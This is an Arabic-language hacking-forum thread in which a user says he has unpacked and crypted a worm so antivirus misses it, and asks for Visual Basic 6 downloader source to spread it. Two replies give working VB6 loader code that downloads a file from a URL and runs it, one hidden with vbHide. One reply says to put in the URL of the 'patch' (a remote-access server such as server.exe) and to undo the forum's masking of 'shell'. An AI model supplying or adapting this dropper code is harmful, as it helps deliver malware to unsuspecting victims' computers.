[ Visual Basic 6 ] الى عبد الله الرويلي وباقي الخبراء ((( عاجل ومهم ))

[هــــآوٍي]

السلام عليكم ورحمه الله وبركاااته

يا اخوااني طفح الكيل تعبت وانا ادور سورس كود برنامج دااون لود او شرح عمل دااون لو

انا الحين فككت دوده ستاالي وفتحتها بالفجوال بس نااقصني داون لود على شان احط كود التحميل فيهاا (( في فايروس ستالي ))
الحمد لله شفرت الفايروس كلين بس باقي الداون لود تكفون لاتردوووني طالبكم

ياريت تعطوني سورس كود برنامج دااون لود يكون ستبه خارجي على شان اضيف اكواد الفايروس لــ الستب

انتضركم يا ابطاال

 

[◣◥ORX◤◢]

رد: الى عبد الله الرويلي وباقي الخبراء ((( عاجل ومهم ))

هاذا فنكشن لوادر ان شاء الله ينفعكـ

اذا تبي شرح له انا في الخدمه

Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Public Function DownloadFile(URL As String, Name_ As String, Optional sh_ As Boolean)
On Error Resume Next
    Dim xDir As String
    xDir = App.Path
    If Right(xDir, 1) <> "\" Then xDir = xDir & "\"
    URLDownloadToFile 0, URL, xDir & Name_, 0, 0
    If sh_ = True Then She ll xDir & Name_, vbHide
End Function

 

[هــــآوٍي]

رد: الى عبد الله الرويلي وباقي الخبراء ((( عاجل ومهم ))

اخوي والله ماافهمت وين احطه

ارسلت لك اضافه على اميلك
[email protected]
انتضرك

 

[Ďŕ.ŤřőЈàή]

رد: الى عبد الله الرويلي وباقي الخبراء ((( عاجل ومهم ))

Private Declare Function ****************lExecute Lib "****************l32.dll" Alias "****************lExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Sub Form1_Load()
URLDownloadToFile 0, "رابط الباتش", "مسار النزول", 0, 0
****************lExecute 0, "Open", "مسار النزول", vbNullString, vbNullString, vbNormalFocus
End Sub

غير ال **************** الي s h e l
بس شيل المسافات

اظن واضح

ضيف رابط باتشك مثلن http://google.com/server.exe
وضيف مكان نزول الملف مثلن C:\server.exe